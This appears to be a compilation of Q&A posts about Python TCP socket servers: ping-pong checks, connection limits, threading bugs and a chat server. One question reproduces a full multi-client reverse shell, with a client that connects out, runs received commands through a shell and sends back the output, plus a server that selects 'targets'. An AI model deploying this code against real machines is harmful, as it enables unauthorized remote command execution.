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How to apply ping-pong for TCP socket?

how to use ping/pong for checking the message is delivered to server or not and receive a pong after sucessfull delivery of message in the below code.
I found this code from this link
https://www.positronx.io/create-socket-server-with-multiple-clients-in-python/
server-side.py
import socket
from _thread import *
ServerSideSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ServerSideSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
host = '127.0.0.1'
port = 3040
ThreadCount = 0
try:
ServerSideSocket.bind((host, port))
except socket.error as e:
print(str(e))
print('Socket is listening..')
ServerSideSocket.listen(5)
def multi_threaded_client(connection):
connection.send(str.encode('Server is working:'))
while True:
data = connection.recv(2048)
print(data)
response = 'Server message: ' + data.decode('utf-8')
if not data:
break
connection.sendall(str.encode(response))
connection.close()
while True:
Client, address = ServerSideSocket.accept()
print('Connected to: ' + address[0] + ':' + str(address[1]))
start_new_thread(multi_threaded_client, (Client, ))
ThreadCount += 1
print('Thread Number: ' + str(ThreadCount))
ServerSideSocket.close()
client-side.py
import socket
ClientMultiSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = '172.0.0.1'
port = 3040
print('Waiting for connection response')
try:
ClientMultiSocket.connect((host, port))
except socket.error as e:
print(str(e))
res = ClientMultiSocket.recv(1024)
while True:
Input = input('Hey there: ')
ClientMultiSocket.send(str.encode(Input))
res = ClientMultiSocket.recv(1024)
print(res.decode('utf-8'))
ClientMultiSocket.close()

How to limit number of connections to server socket

I'm trying to have multiple clients connect to a server socket and transfer data between them, however I want to limit the number of connections that can be made to the server/ number of client processes to 3. How can I do this?
server:
import socket
from _thread import *
PORT = 5050
HOST = socket.gethostbyname(socket.gethostname())
ADDR = (HOST, PORT)
ThreadCount = 0
tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
tcp.bind(ADDR)
except socket.error as e:
print(str(e))
print("Awaiting connection")
tcp.listen(5)
def threaded_client(connection):
connection.send(str.encode('Welcome to sv'))
while True:
data = connection.recv(2048)
reply = 'Server returns: ' + data.decode('utf-8')
if not data:
break
connection.sendall(str.encode(reply))
connection.close()
while True:
Client, address = tcp.accept()
print('Connected to: ' + address[0] + ':' + str(address[1]))
start_new_thread(threaded_client, (Client, ))
ThreadCount += 1
print('Number of threads: ' + str(ThreadCount))
ServerSocket.close()
client:
import socket
Client = socket.socket(socket.AF_INET, socket. SOCK_STREAM)
PORT = 5050
HOST = socket.gethostbyname(socket.gethostname())
ADDR = (HOST, PORT)
print('Awaiting connection')
try:
Client.connect(ADDR)
except socket.error as e:
print(str(e))
Response = Client.recv(1024)
while True:
Input = input('Sends Info: ')
Client.send(str.encode(Input))
Response = Client.recv(1024)
print(Response.decode('utf-8'))
Cliente.close()

Python socket server not printing the received data?

I am sending a string from a python client to a python socket server
here is the server side code where i am printing the received value :
def threaded_client(connection):
while True:
data = connection.recv(2048)
print(data)
datatemp = data.decode('utf-8')
print(datatemp)
message = datatemp.split('_')
print(message[0])
while True:
Client, address = ServerSocket.accept()
print('Connected to: ' + address[0] + ':' + str(address[1]))
start_new_thread(threaded_client, (Client, ))
ServerSocket.close()
and on the server side i am printing print(data) , print(datatemp) and lit('_') but non of these print statements is printing anything
What am i doing wrong ?
UPDATE 1:
I am using these Imports:
import socket
import os
from _thread import *
Here is the full server code :
import socket
import os
from _thread import *
ServerSocket = socket.socket()
host = '127.0.0.1'
port = 34534
ThreadCount = 0
try:
ServerSocket.bind((host, port))
except socket.error as e:
print(str(e))
print('Waitiing for a Connection..')
ServerSocket.listen(5)
def threaded_client(connection):
while True:
data = connection.recv(2048)
print(data)
datatemp = data.decode('utf-8')
print(datatemp)
message = datatemp.split('_')
print(message[0])
while True:
Client, address = ServerSocket.accept()
print('Connected to: ' + address[0] + ':' + str(address[1]))
start_new_thread(threaded_client, (Client, ))
ServerSocket.close()

Python -Multi client reverse shell with threads error

I am following thenewboston tutorial, I think I did pretty much the same like he did, line by line, but my reverse shell is not working, I am trying to run it locally. I am running MultiServer.py and then MultiClient.py but I get an error. I'll explain it in a second but first, here is my code:
MultiServer.py:
import socket
import time
from queue import Queue
import threading
# One thread to listen and create sockets, second thread to connect and send commands
NUMBER_OF_THREADS = 2
JOB_NUMBER = [1, 2]
queue = Queue()
all_connections = []
all_addresses = []
# Create socket (allows two computers to connect)
def socket_create():
try:
global host
global port
global s
host = '' # the server doesn't need to know the ip, only the client
port = 9992
s = socket.socket()
except socket.error as msg:
print('Socket creation error', str(msg))
# Bind socket to port and wait for connection from client
def socket_bind():
try:
global port
global s
print('Binding socket to port: ' + str(port))
s.bind((host, port))
s.listen(5)
except socket.error as msg:
print('Socket binding error', str(msg) + '\n' + 'Retrying...')
time.sleep(5)
socket_bind()
# Accept connections from multiple clients and save to list - Thread 1
def accept_connections():
for c in all_connections:
c.close()
del all_connections[:] # delete items from list
del all_addresses[:]
while 1:
try:
conn, address = s.accept()
conn.setblocking(1) # no timeout
all_connections.append(conn)
all_addresses.append(address)
print("\nConnection has been established: " + address[0] + ":" + address[1])
except:
print("Error accepting connections")
# Interactive prompt for sending commands remotely
def start_connection():
while 1:
cmd = input('> ')
if cmd == 'list':
list_connections()
elif 'select' in cmd:
conn = get_target(cmd)
if conn is not None:
send_target_commands(conn)
else:
print('Command not recognized')
# Displays all current connections
def list_connections():
results = ''
for i, conn in enumerate(all_connections): # enumerate - counter
try:
conn.send(str.encode(' ')) # check if the connection is valid by sending empty message
conn.recv(20480)
except:
del all_connections[i]
del all_addresses[i]
continue
results += 'Connection ' + str(i) + ' ' + str(all_addresses[i][0]) + ':' + str(all_addresses[i][1]) + '\n'
print('----- Clients -----' + '\n' + results)
# Selecting a target client
def get_target(cmd):
try:
target = cmd.replace('select ', '')
target = int(target)
conn = all_connections[target]
print('You are now connected to:', str(all_addresses[target][0]))
print(str(all_addresses[target][0]) + '> ', end='')
return conn
except:
print('Not a valid selection')
return None
# Connect with remote target client
def send_target_commands(conn):
while True:
try:
cmd = input()
if len(str.encode(cmd)) > 0:
conn.send(str.encode(cmd))
client_response = str(conn.recv(20480), 'utf-8')
print(client_response, end='')
if cmd == 'quit':
break
except:
print('Connection lost')
break
# Create the threads
def create_threads():
for _ in range(NUMBER_OF_THREADS):
t = threading.Thread(target=work)
t.daemon = True # the thread will die when main program exit
t.start()
# Each list item is a new job
def create_jobs():
for x in JOB_NUMBER:
queue.put(x)
queue.join() # the queue is like a to-do list, we added 1 and 2 to the queue
# Do the next job in the queue (one handles connections, the other sends commands)
def work():
while True:
x = queue.get() # will be equal to 1 and then will be 2
if x == 1:
socket_create()
socket_bind()
accept_connections()
if x == 2:
start_connection()
queue.task_done()
create_threads()
create_jobs()
MultiClient.py
import os
import socket
import subprocess
import time
# Create a socket
def socket_create():
try:
global host
global port
global s
host = '192.168.1.33'
port = 9992
s = socket.socket()
except socket.error as msg:
print('Socket creation error:', str(msg))
# Connect to a remote socket
def socket_connect():
try:
global host
global port
global s
s.connect((host, port))
except socket.error as msg:
print('Socket connection error:', str(msg))
time.sleep(5)
socket_connect()
# Receive commands from remote server and run on local machine
def receive_commands():
while True:
data = s.recv(20480)
if data[:2].decode('utf-8') == 'cd':
try:
os.chdir(data[3:].decode('utf-8'))
except:
pass
if data[:].deocde('utf-8') == 'quit':
s.close()
break
if len(data) > 0:
try:
cmd = subprocess.Popen(data[:].decode('utf-8'), shell=True, stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
stdin=subprocess.PIPE) # run command in terminal
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_bytes, 'utf-8')
s.send(str.encode(output_str + str(os.getcwd()) + '> '))
print(output_str)
except:
output_str = 'Command not recognized' + '\n'
s.send(str.encode(output_str + str(os.getcwd()) + '> '))
print(output_str)
s.close()
def main():
global s
try:
socket_create()
socket_connect()
receive_commands()
except:
print('Error in main')
time.sleep(5)
s.close()
main()
main()
So, in the tutorial we first created a simple reverse shell that can contain only one client, and it was working for me fine. if needed, here is the code:
Client.py:
import os
import socket
import subprocess
s = socket.socket()
host = '127.0.0.1'
port = 9997
s.connect((host, port))
while True:
data = s.recv(1024)
if data[:2].decode('utf-8') == 'cd':
os.chdir(data[3:].decode('utf-8'))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode('utf-8'), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE) # run command in terminal
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_bytes, 'utf-8')
s.send(str.encode(output_str + str(os.getcwd()) + '> '))
print(output_str)
# close connection
s.close()
Server.py:
import socket
import sys
# Create socket (allows two computers to connect)
def socket_create():
try:
global host
global port
global s
host = '' # the server doesn't need to know the ip, only the client
port = 9997
s = socket.socket()
except socket.error as msg:
print('Socket creation error', str(msg))
# Bind socket to port and wait for connection from client
def socket_bind():
try:
global host
global port
global s
print('Binding socket to port: ' + str(port))
s.bind((host, port))
s.listen(5)
except socket.error as msg:
print('Socket binding error', str(msg) + '\n' + 'Retrying...')
socket_bind()
# Establish a connection with client (socket must be listening for them)
def socket_accept():
conn, address = s.accept()
print('Connection has been established | ' + 'IP ' + address[0] + ' | Port ' + str(address[1]))
send_commands(conn)
conn.close()
# Send commands
def send_commands(conn):
while True:
cmd = input('')
if cmd == 'quit':
conn.close()
s.close()
sys.exit()
if len(str.encode(cmd)) > 0: # system commands are bytes and not strings
conn.send(str.encode(cmd))
client_response = str(conn.recv(1024), 'utf-8')
print(client_response, end='')
def main():
socket_create()
socket_bind()
socket_accept()
main()
As I understood it can be a problem with the firewall so the code may be fine, but a check from an other computer will be great for me. Also, I haven't specified the error I receive, when running MultiServer.py and the MultiClient.py I get the message:
C:\Python34\python.exe C:/Users/dodob/PycharmProjects/ReverseShell/MultiClient/MultiServer.py
> Binding socket to port: 9992
Error accepting connections
I am currently trying this on windows, I also have Linux and I haven't tried to run this there. I tried to disable 'windows firewall with advanced security' but no help.

How can I have multiple clients on a TCP Python Chat Server?

Any help on how I can get this to accept more than one client, and why it isn't at the moment? Thanks!
Also, is there anything I'm doing wrong with this code? I've been following mostly Python 2 tutorials because I can't find any for Python 3.4
Here is my Server code:
import socket
import time
import os
from threading import Thread
folderPath = "Chat Logs"
filePath = folderPath + "/" + str(time.strftime("%H-%M-%S_%d-%m-%Y")) + ".txt"
def clientHandler(c):
while True:
data = c.recv(1024)
if not data:
break
data = data.decode("UTF-8")
message = str(data[:data.index("§")])
nick = str(data[data.index("§")+1:])
print(nick + ": " + message)
saveChat(nick, message)
print(" Sending: " + data)
c.send(bytes(data, "UTF-8"))
c.close()
def saveChat(nick, message):
if not os.path.exists(folderPath):
os.makedirs(folderPath)
if not os.path.exists(filePath):
f = open(filePath, "a")
f.close()
f = open(filePath, "a")
f.write(nick + ": " + message + "\n")
f.close()
def Main():
host = str(socket.gethostbyname(socket.gethostname()))
port = 5000
print(host + ":" + str(port) + "\n")
Clients = int(input("Clients: "))
s = socket.socket()
s.bind((host, port))
s.listen(Clients)
for i in range(Clients):
c, addr = s.accept()
print("Connection from: " + str(addr))
Thread(target=clientHandler(c)).start()
s.close()
if __name__ == "__main__":
Main()
And here is my Client code:
import socket
def Main():
print("Send 'q' to exit\n")
address = str(input("ip:port -> "))
nick = input("nick: ")
try:
if address.index(":") != 0:
host = address[:address.index(":")]
port = int(address[address.index(":")+1:])
except ValueError:
host = address
port = 5000
s = socket.socket()
s.connect((host, port))
message = input("-> ")
while message != "q":
s.send(bytes(message + "ยง" + nick, "UTF-8"))
data = s.recv(1024)
data = data.decode("UTF-8")
data2 = data
messageServer = str(data[:data.index("ยง")])
nickServer = str(data[data.index("ยง")+1:])
if not data == data2:
print(nickServer + ": " + messageServer)
message = input("-> ")
s.close()
if __name__ == "__main__":
Main()

First of all, I found these tutorials very helpful: BinaryTides
Here is an example of a simple tcp server that accepts multiple clients. All this one does receive data from the client and return "OK .. " + the_data. However, you could easily modify it to have a function that broadcasts the data(chat msg) to all clients connected. This example uses threading. You should google for the select module. With regards to your threads, are you sure you are a) using the right module/method for the job and b) that you are calling it in the right way?
import socket
import sys
from thread import start_new_thread
HOST = '' # all availabe interfaces
PORT = 9999 # arbitrary non privileged port
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error, msg:
print("Could not create socket. Error Code: ", str(msg[0]), "Error: ", msg[1])
sys.exit(0)
print("[-] Socket Created")
# bind socket
try:
s.bind((HOST, PORT))
print("[-] Socket Bound to port " + str(PORT))
except socket.error, msg:
print("Bind Failed. Error Code: {} Error: {}".format(str(msg[0]), msg[1]))
sys.exit()
s.listen(10)
print("Listening...")
# The code below is what you're looking for ############
def client_thread(conn):
conn.send("Welcome to the Server. Type messages and press enter to send.\n")
while True:
data = conn.recv(1024)
if not data:
break
reply = "OK . . " + data
conn.sendall(reply)
conn.close()
while True:
# blocking call, waits to accept a connection
conn, addr = s.accept()
print("[-] Connected to " + addr[0] + ":" + str(addr[1]))
start_new_thread(client_thread, (conn,))
s.close()